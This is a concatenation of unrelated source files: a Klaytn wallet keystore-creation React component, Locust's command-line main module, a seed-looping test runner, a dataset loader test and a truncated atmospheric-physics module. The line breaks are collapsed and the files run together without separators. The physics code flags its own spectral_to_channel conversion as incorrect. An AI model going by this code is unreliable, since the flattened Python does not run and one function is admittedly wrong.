import React, { Component, Fragment } from 'react' import WalletCreationStepPlate from 'components/WalletCreationStepPlate' import InputPassword from 'components/InputPassword' import WalletCreationReminder from 'components/WalletCreationReminder' import { checkValidPassword } from 'utils/crypto' import { pipe } from 'utils/Functional' import { caver } from 'klaytn/caver' import { download } from 'utils/misc' import jsonFormat from 'json-format' class WalletHRACreationStep3 extends Component<Props> { constructor() { super() this.state = { password: '', isValidPassword: null, } } handleChange = e => { this.setState({ [e.target.name]: e.target.value, isValidPassword: e.target.value.length === 0 ? null : checkValidPassword(e.target.value), }) } enterKeySelcet = (e)=>{ const { handleStepMove } = this.props const { isValidPassword } = this.state const handleStepMoveSet = handleStepMove(4) if(e.keyCode ===13 && isValidPassword){ handleStepMoveSet() } } handleDownload = () => { const { password } = this.state const { privateKey, receiptWallet, walletDataUpdate} = this.props const HRAaddress = {} HRAaddress.address = caver.utils.hexToUtf8(receiptWallet.to) const keystore = caver.klay.accounts.encrypt(privateKey, password, HRAaddress) walletDataUpdate({ HRAaddress: HRAaddress.address }) // If user clicked download, clear previous wallet instance. this.downloadKeystore(keystore) } downloadKeystore = (keystore) => { const date = new Date() const address = keystore.addressAsHumanReadableString ? keystore.addressAsHumanReadableString : keystore.address const fileName = `keystore-${address}-${date.getFullYear()}-${date.getMonth() + 1}-${date.getDate()}.json` download(jsonFormat(keystore), fileName) } render() { const { password, isValidPassword } = this.state const { handleStepMove } = this.props return ( <WalletCreationStepPlate stepName="STEP 3" title="Please Set Password for Your Keystore File" description={( <Fragment> Your keystore file contains your account’s private key and its address.<br /> Please protect your keystore file with a strong password. </Fragment> )} render={() => ( <InputPassword value={password} name="password" placeholder="Enter the password" label="Password" onChange={this.handleChange} onKeyUp={this.enterKeySelcet} /> )} reminder={() => ( <WalletCreationReminder /> )} nextStepButtons={[{ title: 'Download & Next Step', onClick: pipe(this.handleDownload, handleStepMove(4)), disabled: !isValidPassword }]} /> ) } } export default WalletHRACreationStep3
import inspect import logging import os import importlib import signal import socket import sys import time import argparse import gevent import locust from . import events, runners, web from .core import HttpLocust, Locust from .inspectlocust import get_task_ratio_dict, print_task_ratio from .log import console_logger, setup_logging from .runners import LocalLocustRunner, MasterLocustRunner, SlaveLocustRunner from .stats import (print_error_report, print_percentile_stats, print_stats, stats_printer, stats_writer, write_stat_csvs) from .util.timespan import parse_timespan _internals = [Locust, HttpLocust] version = locust.__version__ def parse_options(): """ Handle command-line options with argparse.ArgumentParser. Return list of arguments, largely for use in `parse_arguments`. """ # Initialize parser = argparse.ArgumentParser() parser.add_argument( '-H', '--host', help="Host to load test in the following format: http://10.21.32.33" ) parser.add_argument( '--web-host', default="", help="Host to bind the web interface to. Defaults to '' (all interfaces)" ) parser.add_argument( '-P', '--port', '--web-port', type=int, default=8089, help="Port on which to run web host" ) parser.add_argument( '-f', '--locustfile', default='locustfile', help="Python module file to import, e.g. '../other.py'. Default: locustfile" ) # A file that contains the current request stats. parser.add_argument( '--csv', '--csv-base-name', dest='csvfilebase', help="Store current request stats to files in CSV format.", ) # if locust should be run in distributed mode as master parser.add_argument( '--master', action='store_true', help="Set locust to run in distributed mode with this process as master" ) # if locust should be run in distributed mode as slave parser.add_argument( '--slave', action='store_true', help="Set locust to run in distributed mode with this process as slave" ) # master host options parser.add_argument( '--master-host', default="127.0.0.1", help="Host or IP address of locust master for distributed load testing. Only used when running with --slave. Defaults to 127.0.0.1." ) parser.add_argument( '--master-port', type=int, default=5557, help="The port to connect to that is used by the locust master for distributed load testing. Only used when running with --slave. Defaults to 5557. Note that slaves will also connect to the master node on this port + 1." ) parser.add_argument( '--master-bind-host', default="*", help="Interfaces (hostname, ip) that locust master should bind to. Only used when running with --master. Defaults to * (all available interfaces)." ) parser.add_argument( '--master-bind-port', type=int, default=5557, help="Port that locust master should bind to. Only used when running with --master. Defaults to 5557. Note that Locust will also use this port + 1, so by default the master node will bind to 5557 and 5558." ) parser.add_argument( '--heartbeat-liveness', type=int, default=3, help="set number of seconds before failed heartbeat from slave" ) parser.add_argument( '--heartbeat-interval', type=int, default=1, help="set number of seconds delay between slave heartbeats to master" ) parser.add_argument( '--expect-slaves', type=int, default=1, help="How many slaves master should expect to connect before starting the test (only when --no-web used)." ) # if we should print stats in the console parser.add_argument( '--no-web', action='store_true', help="Disable the web interface, and instead start running the test immediately. Requires -c and -r to be specified." ) # Number of clients parser.add_argument( '-c', '--clients', type=int, dest='num_clients', default=1, help="Number of concurrent Locust users. Only used together with --no-web" ) # Client hatch rate parser.add_argument( '-r', '--hatch-rate', type=float, default=1, help="The rate per second in which clients are spawned. Only used together with --no-web" ) # Time limit of the test run parser.add_argument( '-t', '--run-time', help="Stop after the specified amount of time, e.g. (300s, 20m, 3h, 1h30m, etc.). Only used together with --no-web" ) # skip logging setup parser.add_argument( '--skip-log-setup', action='store_true', dest='skip_log_setup', default=False, help="Disable Locust's logging setup. Instead, the configuration is provided by the Locust test or Python defaults." ) # log level parser.add_argument( '--loglevel', '-L', default='INFO', help="Choose between DEBUG/INFO/WARNING/ERROR/CRITICAL. Default is INFO.", ) # log file parser.add_argument( '--logfile', help="Path to log file. If not set, log will go to stdout/stderr", ) # if we should print stats in the console parser.add_argument( '--print-stats', action='store_true', help="Print stats in the console" ) # only print summary stats parser.add_argument( '--only-summary', action='store_true', help='Only print the summary stats' ) parser.add_argument( '--no-reset-stats', action='store_true', help="[DEPRECATED] Do not reset statistics once hatching has been completed. This is now the default behavior. See --reset-stats to disable", ) parser.add_argument( '--reset-stats', action='store_true', help="Reset statistics once hatching has been completed. Should be set on both master and slaves when running in distributed mode", ) # List locust commands found in loaded locust files/source files parser.add_argument( '-l', '--list', action='store_true', dest='list_commands', help="Show list of possible locust classes and exit" ) # Display ratio table of all tasks parser.add_argument( '--show-task-ratio', action='store_true', help="print table of the locust classes' task execution ratio" ) # Display ratio table of all tasks in JSON format parser.add_argument( '--show-task-ratio-json', action='store_true', help="print json data of the locust classes' task execution ratio" ) # Version number (optparse gives you --version but we have to do it # ourselves to get -V too. sigh) parser.add_argument( '-V', '--version', action='version', version='%(prog)s {}'.format(version), ) # set the exit code to post on errors parser.add_argument( '--exit-code-on-error', type=int, default=1, help="sets the exit code to post on error" ) parser.add_argument( '-s', '--stop-timeout', action='store', type=int, dest='stop_timeout', default=None, help="number of seconds to wait for a simulated user to complete any executing task before exiting. Default is to terminate immediately." ) parser.add_argument( 'locust_classes', nargs='*', metavar='LocustClass', ) # Finalize # Return two-tuple of parser + the output from parse_args return parser, parser.parse_args() def _is_package(path): """ Is the given path a Python package? """ return ( os.path.isdir(path) and os.path.exists(os.path.join(path, '__init__.py')) ) def find_locustfile(locustfile): """ Attempt to locate a locustfile, either explicitly or by searching parent dirs. """ # Obtain env value names = [locustfile] # Create .py version if necessary if not names[0].endswith('.py'): names += [names[0] + '.py'] # Does the name contain path elements? if os.path.dirname(names[0]): # If so, expand home-directory markers and test for existence for name in names: expanded = os.path.expanduser(name) if os.path.exists(expanded): if name.endswith('.py') or _is_package(expanded): return os.path.abspath(expanded) else: # Otherwise, start in cwd and work downwards towards filesystem root path = os.path.abspath('.') while True: for name in names: joined = os.path.join(path, name) if os.path.exists(joined): if name.endswith('.py') or _is_package(joined): return os.path.abspath(joined) parent_path = os.path.dirname(path) if parent_path == path: # we've reached the root path which has been checked this iteration break path = parent_path # Implicit 'return None' if nothing was found def is_locust(tup): """ Takes (name, object) tuple, returns True if it's a public Locust subclass. """ name, item = tup return bool( inspect.isclass(item) and issubclass(item, Locust) and hasattr(item, "task_set") and getattr(item, "task_set") and not name.startswith('_') ) def load_locustfile(path): """ Import given locustfile path and return (docstring, callables). Specifically, the locustfile's ``__doc__`` attribute (a string) and a dictionary of ``{'name': callable}`` containing all callables which pass the "is a Locust" test. """ def __import_locustfile__(filename, path): """ Loads the locust file as a module, similar to performing `import` """ try: # Python 3 compatible source = importlib.machinery.SourceFileLoader(os.path.splitext(locustfile)[0], path) imported = source.load_module() except AttributeError: # Python 2.7 compatible import imp imported = imp.load_source(os.path.splitext(locustfile)[0], path) return imported # Start with making sure the current working dir is in the sys.path sys.path.insert(0, os.getcwd()) # Get directory and locustfile name directory, locustfile = os.path.split(path) # If the directory isn't in the PYTHONPATH, add it so our import will work added_to_path = False index = None if directory not in sys.path: sys.path.insert(0, directory) added_to_path = True # If the directory IS in the PYTHONPATH, move it to the front temporarily, # otherwise other locustfiles -- like Locusts's own -- may scoop the intended # one. else: i = sys.path.index(directory) if i != 0: # Store index for later restoration index = i # Add to front, then remove from original position sys.path.insert(0, directory) del sys.path[i + 1] # Perform the import imported = __import_locustfile__(locustfile, path) # Remove directory from path if we added it ourselves (just to be neat) if added_to_path: del sys.path[0] # Put back in original index if we moved it if index is not None: sys.path.insert(index + 1, directory) del sys.path[0] # Return our two-tuple locusts = dict(filter(is_locust, vars(imported).items())) return imported.__doc__, locusts def main(): parser, options = parse_options() # setup logging if not options.skip_log_setup: setup_logging(options.loglevel, options.logfile) logger = logging.getLogger(__name__) locustfile = find_locustfile(options.locustfile) if not locustfile: logger.error("Could not find any locustfile! Ensure file ends in '.py' and see --help for available options.") sys.exit(1) if locustfile == "locust.py": logger.error("The locustfile must not be named `locust.py`. Please rename the file and try again.") sys.exit(1) docstring, locusts = load_locustfile(locustfile) if options.list_commands: console_logger.info("Available Locusts:") for name in locusts: console_logger.info(" " + name) sys.exit(0) if not locusts: logger.error("No Locust class found!") sys.exit(1) # make sure specified Locust exists if options.locust_classes: missing = set(options.locust_classes) - set(locusts.keys()) if missing: logger.error("Unknown Locust(s): %s\n" % (", ".join(missing))) sys.exit(1) else: names = set(options.locust_classes) & set(locusts.keys()) locust_classes = [locusts[n] for n in names] else: # list() call is needed to consume the dict_view object in Python 3 locust_classes = list(locusts.values()) if options.show_task_ratio: console_logger.info("\n Task ratio per locust class") console_logger.info( "-" * 80) print_task_ratio(locust_classes) console_logger.info("\n Total task ratio") console_logger.info("-" * 80) print_task_ratio(locust_classes, total=True) sys.exit(0) if options.show_task_ratio_json: from json import dumps task_data = { "per_class": get_task_ratio_dict(locust_classes), "total": get_task_ratio_dict(locust_classes, total=True) } console_logger.info(dumps(task_data)) sys.exit(0) if options.run_time: if not options.no_web: logger.error("The --run-time argument can only be used together with --no-web") sys.exit(1) try: options.run_time = parse_timespan(options.run_time) except ValueError: logger.error("Valid --run-time formats are: 20, 20s, 3m, 2h, 1h20m, 3h30m10s, etc.") sys.exit(1) def spawn_run_time_limit_greenlet(): logger.info("Run time limit set to %s seconds" % options.run_time) def timelimit_stop(): logger.info("Time limit reached. Stopping Locust.") runners.locust_runner.quit() gevent.spawn_later(options.run_time, timelimit_stop) if not options.no_web and not options.slave: # spawn web greenlet logger.info("Starting web monitor at %s:%s" % (options.web_host or "*", options.port)) main_greenlet = gevent.spawn(web.start, locust_classes, options) if not options.master and not options.slave: runners.locust_runner = LocalLocustRunner(locust_classes, options) # spawn client spawning/hatching greenlet if options.no_web: runners.locust_runner.start_hatching(wait=True) main_greenlet = runners.locust_runner.greenlet if options.run_time: spawn_run_time_limit_greenlet() elif options.master: runners.locust_runner = MasterLocustRunner(locust_classes, options) if options.no_web: while len(runners.locust_runner.clients.ready)<options.expect_slaves: logging.info("Waiting for slaves to be ready, %s of %s connected", len(runners.locust_runner.clients.ready), options.expect_slaves) time.sleep(1) runners.locust_runner.start_hatching(options.num_clients, options.hatch_rate) main_greenlet = runners.locust_runner.greenlet if options.run_time: spawn_run_time_limit_greenlet() elif options.slave: if options.run_time: logger.error("--run-time should be specified on the master node, and not on slave nodes") sys.exit(1) try: runners.locust_runner = SlaveLocustRunner(locust_classes, options) main_greenlet = runners.locust_runner.greenlet except socket.error as e: logger.error("Failed to connect to the Locust master: %s", e) sys.exit(-1) stats_printer_greenlet = None if not options.only_summary and (options.print_stats or (options.no_web and not options.slave)): # spawn stats printing greenlet stats_printer_greenlet = gevent.spawn(stats_printer) if options.csvfilebase: gevent.spawn(stats_writer, options.csvfilebase) def shutdown(code=0): """ Shut down locust by firing quitting event, printing/writing stats and exiting """ logger.info("Shutting down (exit code %s), bye." % code) if stats_printer_greenlet is not None: stats_printer_greenlet.kill(block=False) logger.info("Cleaning up runner...") if runners.locust_runner is not None: runners.locust_runner.quit() logger.info("Running teardowns...") events.quitting.fire(reverse=True) print_stats(runners.locust_runner.stats, current=False) print_percentile_stats(runners.locust_runner.stats) if options.csvfilebase: write_stat_csvs(options.csvfilebase) print_error_report() sys.exit(code) # install SIGTERM handler def sig_term_handler(): logger.info("Got SIGTERM signal") shutdown(0) gevent.signal(signal.SIGTERM, sig_term_handler) try: logger.info("Starting Locust %s" % version) main_greenlet.join() code = 0 if len(runners.locust_runner.errors): code = options.exit_code_on_error shutdown(code=code) except KeyboardInterrupt as e: shutdown(0)
import os import sys min_seed = 5 max_seed = 15 filename = "test_agents.py" for i in range(min_seed,max_seed): print("running script " + filename + " with seed " + str(i)) os.system('python3 ' + filename + " " + str(i))
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.carrots import carrots def test_carrots(): """Test module carrots.py by downloading carrots.csv and testing shape of extracted data has 24 rows and 4 columns """ test_path = tempfile.mkdtemp() x_train, metadata = carrots(test_path) try: assert x_train.shape == (24, 4) except: shutil.rmtree(test_path) raise()
#!/usr/bin/env python # coding: utf-8 """Various small physics functions Mostly obtained from PyARTS """ import logging import numbers import datetime import calendar import itertools import numpy import scipy.interpolate import matplotlib import matplotlib.dates import numexpr import pyproj import pint from .constants import (h, k, R_d, R_v, c, M_d, M_w, micro, R) #from . import constants as c from . import math as pamath from . import time as pytime from . import tools from . import graphics from . import stats from . import config from . import io as pyio from .units import ureg from typhon.physics.units.em import (FwmuMixin, SRF, planck_f, specrad_wavenumber2frequency, specrad_frequency_to_planck_bt) from typhon.physics.em import (frequency2wavelength, frequency2wavenumber) class AKStats: filename = "sensitivity_{mode}_matrix_{name}." #cmap = "afmhot_r" #cmap = trollimage.colormap.spectral cmap = "Spectral_r" def __init__(self, aks, name="UNDEFINED"): self.aks = aks.copy() with numpy.errstate(invalid="ignore"): self.aks[self.aks<=-999] = numpy.nan self.name = name def summarise(self, data): """Look at various statistics. """ with numpy.errstate(invalid="warn"): self.plot_sensitivity_range(z=data["z"]) self.plot_sensitivity_density(z=data["z"]) self.plot_histogram() self.summarise_dof_stats(data) def dofs(self): """Calculate degrees of freedom. According to Rodgers (2000), equation (2.80), page 37. This is the trace of the averaging kernels. """ # Circumvent https://github.com/numpy/numpy/issues/5560 #return self.aks.trace(axis1=1, axis2=2) # Is actually not effectively circumvented (anymore?) #return numpy.trace(self.aks, axis1=1, axis2=2) if isinstance(self.aks, numpy.ma.MaskedArray): return self.aks.data.trace(axis1=1, axis2=2) else: return self.aks.trace(axis1=1, axis2=2) def sensitivities(self): """Calculate sensitivities. According to: R. L. Batchelor et al.: Ground-based FTS comparisons ad ACE validation at Eureka during IPY. Page 57. Sum of each row of the averaging kernel matrix defines sensitivity to measurument. Note that I - A is the sensitivity to the a priori, soand the sum of the rows of (I - A) + the sum of the rows of A equals 1; so these two could be interpreted as percentages. """ return self.aks.sum(1) def sensitivity_density_matrix(self, sens_fractions=numpy.linspace(0, 1, 11)): """What fraction of profiles have sensitivity >x at level y? :param ndarray sens_fractions: Fractions x to consider :returns: (sens_fractions, sens_mat), where sens_mat is a matrix with fraction at each level with at least sensitivity x. """ sensitivities = self.sensitivities() with numpy.errstate(invalid="ignore"): sensmat = numpy.vstack([(sensitivities>x).sum(0) / sensitivities.shape[0] for x in sens_fractions]) return (sens_fractions, sensmat) def sensitivity_range_matrix(self, sens_fractions = numpy.linspace(0, 1, 11), sens_counters = None): """ For each profile, how many layers have sensitivity of at least x? Creates a "sensitivity score" matrix. How many profiles have at least y layers of sensitivity >= x? :param ndarray sens_fractions: Array of shape (N,). Sensitivities to consider. Defaults to 0, 0.1, ..., 1.0. Will be used to count no. of profiles with sensitivity larger than this fraction. :param ndarray sens_counters: Integer array of shape (p,), indicating the count as to how many profiles have at least this many layers with sensitivity larger than x. Defaults to arange(self.aks.shape[1]+1) :returns: Tuple (sens_fractions, sens_counters, sensmat), where sensmat is an N x p matrix, N being the number of sensitivities to consider, and p the counters. In each coordinate define by the ararys sens_fractions and sens_counters, it contains the fraction of profiles that have at least p levels above sensitivity x. """ if sens_counters is None: sens_counters = numpy.arange(self.aks.shape[1]+1) sensitivities = self.sensitivities() with numpy.errstate(invalid="ignore"): sensmat = numpy.vstack([((sensitivities >= x).sum(1)>=y).sum() for x in sens_fractions for y in sens_counters]).reshape( sens_fractions.shape[0], sens_counters.shape[0]) return (sens_fractions, sens_counters, sensmat / self.aks.shape[0]) def sensitivity_range_matrix_z(self, z, arr_dz = numpy.linspace(0, 30e3, 11), arr_sens = numpy.linspace(0, 1, 11)): """Like sensitivity_range_matrix but with elevation units. Returns a matrix with the fraction of elements where sensitivity exceeds 'x' for a range of elevations 'dz'. :param z: Matrix containing elevations. Shape must match self.aks.shape[1:]. :param arr_dz: Array of delta-z to consider. :param arr_sens: Array of sensitivities to consider. :returns: (arr_dz, arr_sens, mat) """ mat = numpy.zeros(shape=(arr_dz.size, arr_sens.size)) sensitivities = self.sensitivities() with numpy.errstate(invalid="ignore"): allmsk = [sensitivities > x for x in arr_sens] # find highest and lowest z for each column, corresponding to msk # # Note: in some cases there are 'gaps', i.e. sensitivity mask # looks like [True, True, False, False, False, True, True, True, # True, True, True, True, True, False, False, ...]. In this case # we take the 'False' along for now. This may also yield more # than one 'last'. for (msk_i, msk) in enumerate(allmsk): # first True in each column mskno = msk.nonzero() if not msk.any(): # all mat 0 continue (_, ii) = numpy.unique(mskno[0], return_index=True) makes_sense = msk.any(1) firsts = numpy.zeros(shape=sensitivities.shape[0]) firsts[makes_sense] = mskno[1][ii] # NB: goes wrong if 0 True values firsts[~makes_sense] = -1 # last True in each column is element before! lasts = numpy.zeros(shape=sensitivities.shape[0]) lasts[makes_sense] = numpy.hstack((mskno[1][ii[1:]-1], mskno[1][-1])) lasts[~makes_sense] = 0 lower = numpy.array([z[i, firsts[i]] for i in range(firsts.shape[0])]) upper = numpy.array([z[i, lasts[i]] for i in range(lasts.shape[0])]) dz = upper - lower # by handling > as false, nans are counted as not in range. # There may be nans in z with numpy.errstate(invalid="ignore"): for (dz_k, dz_lim) in enumerate(arr_dz): mat[dz_k, msk_i] = (dz >= dz_lim).sum() / sensitivities.shape[0] return (arr_dz, arr_sens, mat) def plot_sensitivity_density(self, nstep=11, z=None): """Visualise where sensors are typically sensitive """ (sens_frac, sensmat) = self.sensitivity_density_matrix() # regrid sensitivity matrix for z if z.ndim > 1: if (z.min(0) == z.max(0)).all(): z = z[0, :] else: newz = numpy.nanmean(z, 0) logging.info("Regridding sensitivity matrices") A_new = pamath.regrid_matrix(sensmat, z, newz) logging.info("Done") z = newz # write some diagnostics for (i, f) in enumerate(sens_frac): for p in (0.2, 0.5, 0.8): makes_sense = z[sensmat[i, :]>p] if makes_sense.any(): logging.info(("Altitude range with at least " "{:.0%} >{:.0%} sensitive: {:.1f}--{:.1f} km").format( p, f, makes_sense.min()/1e3, makes_sense.max()/1e3)) else: logging.info(("Never more than {:.0%} with " "sensitivity {:.0%} :(").format( sensmat[i, :].max(), f)) #f = matplotlib.pyplot.figure() (f, a) = matplotlib.pyplot.subplots() # = f.add_subplot(1, 1, 1) cs = a.contourf(sens_frac, z, sensmat.T, numpy.linspace(0, 1, nstep), cmap=self.cmap) #cs.clabel(colors="blue") cb = f.colorbar(cs) a.set_xlabel("Sensitivity") a.set_ylabel("Elevation [m]") cb.set_label("Fraction") a.set_title("Elevation sensitivity density {}".format(self.name)) a.grid(which="major", color="white") graphics.print_or_show( f, False, self.filename.format(mode="density_z", name=self.name), data=numpy.vstack([(sens_frac[i], z[j], sensmat[i,j]) for i in range(sens_frac.size) for j in range(z.size)]).reshape( sens_frac.size, z.size, 3)) def plot_sensitivity_range(self, nstep=11, z=None): """Visualise vertical range of sensitivities """ # Degrees of freedom according to: # Rodgers (2000) # Equation (2.80), Page 37 dofs = self.dofs() sensitivities = self.sensitivities() max_sensitivities = sensitivities.max(1) (sens_fractions, sens_counters, sensmat) = self.sensitivity_range_matrix() f = matplotlib.pyplot.figure() a = f.add_subplot(1, 1, 1) cs = a.contourf(sens_fractions, sens_counters, sensmat.T, numpy.linspace(0, 1, nstep), cmap=self.cmap) #cs.clabel(colors="blue") cb = f.colorbar(cs) a.set_xlabel("Sensitivity") a.set_ylabel("No. of levels") cb.set_label("Fraction") a.set_title(("Fraction of profiles with at least N layers " "sensitivity > x")) graphics.print_or_show( f, False, self.filename.format(mode="range_n", name=self.name)) (arr_dz, arr_sens, mat_z) = self.sensitivity_range_matrix_z(z=z) f = matplotlib.pyplot.figure() a = f.add_subplot(1, 1, 1) cs = a.contourf(arr_sens, arr_dz, mat_z, numpy.linspace(0, 1, nstep), cmap=self.cmap) #cs.clabel(colors="blue") cb = f.colorbar(cs) a.set_xlabel("Sensitivity") a.set_ylabel("Delta z [m]") cb.set_label("Fraction") a.set_title(("Fraction of profiles with sensitivity > x " "throughout a certain vertical range")) graphics.print_or_show( f, False, self.filename.format(mode="range_z", name=self.name)) def plot_histogram(self): dofs = self.dofs() (f, a) = matplotlib.pyplot.subplots() (N, x, p) = a.hist(dofs[numpy.isfinite(dofs)], 20) a.set_xlabel("DOFs") a.set_ylabel("count") a.set_title("histogram DOF collocated {}".format(self.name)) graphics.print_or_show(f, False, "hist_dof_{}.".format(self.name), data = dofs[numpy.isfinite(dofs)]) # let pgfplots do the hist _dof_binners = dict( doy = dict( label = "Day of year", bins = numpy.linspace(0, 366, 24), invert = False, timeax = False), mlst = dict( label = "Mean local solar time", bins = numpy.linspace(0, 24, 24), invert = False, timeax = False), time = dict( label = "Date", invert = False, timeax = True), lat = dict( label = "Latitude", invert = False, timeax = False), lon = dict( label = "Longitude", timeax = False, invert = True), parcol = dict( label = "Par. col. CH4", timeax = False, invert = False), # dof = dict( # label = "DOF", # timeax = False, # invert = False), ) def summarise_dof_stats(self, data): """Make and plot some DOF summaries """ dofs = self.dofs() # get day of year and mean local solar time # (NB: outer zip effectively unzips) (doy, mlst) = zip(*(pytime.dt_to_doy_mlst( dt.astype(datetime.datetime), lon) for (dt, lon) in zip(data["time"], data["lon"]))) # Prepare matplotlib date axes ml = matplotlib.dates.DayLocator(bymonthday=[1, 15]) datefmt = matplotlib.dates.DateFormatter("%m/%d") D = dict(doy={}, mlst={}, lat={}, lon={}, parcol={}) D["doy"]["data"] = numpy.array(doy) D["mlst"]["data"] = numpy.array(mlst) D["lat"]["data"] = data["lat"] D["lon"]["data"] = data["lon"] D["parcol"]["data"] = data["parcol_CH4"] # D["dof"]["data"] = dofs for k in D.keys(): if k in self._dof_binners and "bins" in self._dof_binners[k]: D[k]["bins"] = self._dof_binners[k]["bins"] else: D[k]["bins"] = numpy.linspace( D[k]["data"].min()*0.99, D[k]["data"].max()*1.01, 10) binners = sorted(D.keys()) binned_indices = stats.bin_nd( [D[k]["data"] for k in binners], [D[k]["bins"] for k in binners]) # make "fake" date range where I will use only month and day, # so I can use date-based plotting D["time"] = dict(data=numpy.array([(datetime.date(2015, 1, 1) + datetime.timedelta(days=int(d))).toordinal() for d in D["doy"]["data"]])) D["time"]["bins"] = numpy.array([(datetime.date(2015, 1, 1) + datetime.timedelta(days=int(d))).toordinal() for d in D["doy"]["bins"]]) # replace "doy" by "time" binners[binners.index("doy")] = "time" combis = sorted([tuple(x) for x in {frozenset(x) for x in itertools.product( range(binned_indices.ndim), range(binned_indices.ndim))} if len(x)>1]) # combis = [(0, 1), (0, 2), (0, 3), (1, 2), (1, 3), (2, 3), ...] for (i1, i2) in combis: names = dict(x=binners[i1], y=binners[i2]) merged = stats.binsnD_to_2d(binned_indices, i1, i2) stat = {} for (nm, func) in [ ("median", numpy.median), ("mad", pamath.mad)]: stat[nm] = numpy.array( [(func(dofs[merged.flat[k]]) if merged.flat[k].size>0 else numpy.nan) for k in range(merged.size)] ).reshape(merged.shape) stat["count"] = numpy.array( [merged.flat[k].size for k in range(merged.size)] ).reshape(merged.shape) stat[""] = None # special value for scatter if (stat["count"]>1).sum() < 2: continue # all in one bin, don't plot # for (statname, val) in stat.items(): # for mode in ("pcolor", "scatter"): (f, a) = matplotlib.pyplot.subplots() # if mode == "pcolor": if statname == "": pc = a.scatter(D[names["x"]]["data"], D[names["y"]]["data"], c=dofs, s=50, cmap=self.cmap) else: val_masked = numpy.ma.masked_array(val, numpy.isnan(val)) pc = a.pcolor(D[names["x"]]["bins"], D[names["y"]]["bins"], val_masked.T, cmap=self.cmap) # elif mode == "scatter": cb = f.colorbar(pc) #for (axname, axis, fmt) in [ for axlt in "xy": axname = names[axlt] axis = getattr(a, "{}axis".format(axlt)) if self._dof_binners[axname]["timeax"]: axis.set_major_locator(ml) axis.set_major_formatter(datefmt) getattr(f, "autofmt_{}date".format(axlt))() if self._dof_binners[axname]["invert"]: getattr(a, "invert_{}axis".format(axlt))() getattr(a, "set_{}label".format(axlt))( self._dof_binners[axname]["label"]) cb.set_label("DOF " + statname) a.set_title("DOF " + self.name) graphics.print_or_show(f, False, "DOF_{}_{}_{}_{}.".format( self.name, names["x"], names["y"], statname), data=(numpy.vstack((D[names["x"]]["data"], D[names["y"]]["data"], dofs)).T if (statname=="" and names["x"]=="time") else None)) # write "by hand" because of datetime if names["x"] == "time" and statname=="": with open("{:s}/{:s}".format(pyio.plotdatadir(), "DOF_time_{:s}_{:s}.dat".format( self.name, names['y'])), 'w') as f: for i in range(dofs.shape[0]): f.write("{:%Y-%m-%d} {:.3f} {:.3f}\n".format( datetime.date.fromordinal(D["time"]["data"][i]), D[names['y']]["data"][i], dofs[i])) def mixingratio2density(mixingratio, p, T): """Converts mixing ratio (e.g. kg/kg) to density (kg/m^3) for dry air. Uses the ideal gas law and the effective molar mass of Earth air. :param mixingratio: Mixing ratio [1] :param p: Pressure [Pa] :param T: Temperature [K] :returns: Density [kg/m^3] """ # from ideal gas law, mass of 1 m³ of air: # # ρ = p/(R*T) m_air = p/(R_d*T) return mixingratio * m_air def mixingratio2rh(w, p, T): """For water on Earth, convert mixing-ratio to relative humidity :param w: water vapour mixing ratio [1] :param p: pressure [Pa] :param T: temperature [K] :returns: relative humidity [1] """ eps = R_d/R_v # Wallace and Hobbs, 3.14 e = w/(w+eps)*p # Wallace and Hobbs, 3.59 e_s = vapour_P(T) return e/e_s # Wallace and Hobbs, 3.64 def rh2mixingratio(rh, p, T): """Convert relative humidity to water vapour mixing ratio Based on atmlabs h2o/thermodynomics/relhum_to_vmr.m. :param rh: Relative humidity [1] :param p: Pressure [Pa] :param T: Temperature [K] :returns: Water vapour mixing ratio [1] """ return rh * vapour_P(T) / p def specific2mixingratio(q): """Convert specific humidity [kg/kg] to volume mixing ratio """ # Source: extract_arts_1.f90 eps = R_d/R_v return q / ( q + eps*(1-q) ) def vapour_P(T): """Calculate saturation vapour pressure. Calculates the saturated vapour pressure (Pa) of water using the Hyland-Wexler eqns (ASHRAE Handbook). (Originally in PyARTS) :param T: Temperature [K] :returns: Vapour pressure [Pa] """ A = -5.8002206e3 B = 1.3914993 C = -4.8640239e-2 D = 4.1764768e-5 E = -1.4452093e-8 F = 6.5459673 Pvs = numpy.exp(A/T + B + C*T + D*T**2 + E*T**3 + F*numpy.log(T)) return Pvs def specific2iwv(z, q): """Calculate integrated water vapour [kg/m^2] from z, q :param z: Height profile [m] :param q: specific humidity profile [kg/kg] :returns: Integrated water vapour [kg/m^2] """ mixing_ratio = specific2mixingratio(q) return pamath.integrate_with_height(z, mixing_ratio) def rh2iwv(z, rh, p, T): """Calculate integrated water vapour [kg/m^2] from z, rh :param z: Height profile [m] :param rh: Relative humidity profile [1] :param p: Pressure profile [Pa] :param T: Temperature profile [T] :returns: Integrated water vapour [kg/m^2] """ mixing_ratio = rh2mixingratio(rh, p, T) return pamath.integrate_with_height(z, mixingratio2density(mixing_ratio, p, T)) def mixingratio2iwv(z, r, p, T): """Calculate integrated water vapour [kg/m^2] from z, r :param z: Height profile [m] :param r: mixing ratio profile [kg/kg] :param p: Pressure profile [Pa] :param T: Temperature profile [T] :returns: Integrated water vapour [kg/m^2] """ return pamath.integrate_with_height(z, mixingratio2density(r, p, T)) def spectral_to_channel(f_L, L_f, f_srf, w_srf): """From a spectrum of radiances and a SRF, calculate channel radiance The spectral response function may not be specified on the same grid as the spectrum of radiances. Therefore, this function interpolates the spectral response function onto the grid of the radiances. This is less bad than the reverse, because a spectral response function tends to be more smooth than a spectrum. **Approximations:** * Interpolation of spectral response function onto frequency grid on which radiances are specified. FIXME BUG! The conversion is incorrect and should be done in terms of spectral radiances, not brightness temperatures. Consider discussion with Jon. Need to read up on this. FIXME BUG! :param ndarray f_L: Frequencies for spectral radiances [Hz] :param ndarray L_f: Spectral radiances [various]. Can be in radiance units or brightness temperatures. Innermost dimension must correspond to frequencies. :param ndarray f_srf: Frequencys for spectral response function [Hz] :param ndarray w_srf: Weights for spectral response function [] :returns: Channel radxiance (same unit as L_f). """ # Interpolate onto common frequency grid. The spectral response # function is more smooth so less harmed by interpolation, so I # interpolate the SRF. f = scipy.interpolate.interp1d(f_srf, w_srf, bounds_error=False, fill_value=numpy.nan) w_on_L_grid = f(f_L) #ch_BT = (w_on_L_grid * L_f).sum(-1) / (w_on_L_grid.sum()) # due to numexpr limitation, do sum seperately ch_BT_tot = numexpr.evaluate("sum(w_on_L_grid * L_f, {:d})".format( L_f.ndim-1)) ch_BT = ch_BT_tot / w_on_L_grid.sum() return ch_BT def vmr2nd(vmr, T, p): """Convert volume mixing ratio [] to number density :param vmr: Volume mixing ratio or volume fraction. For example, taking methane density in ppmv, first multiply by 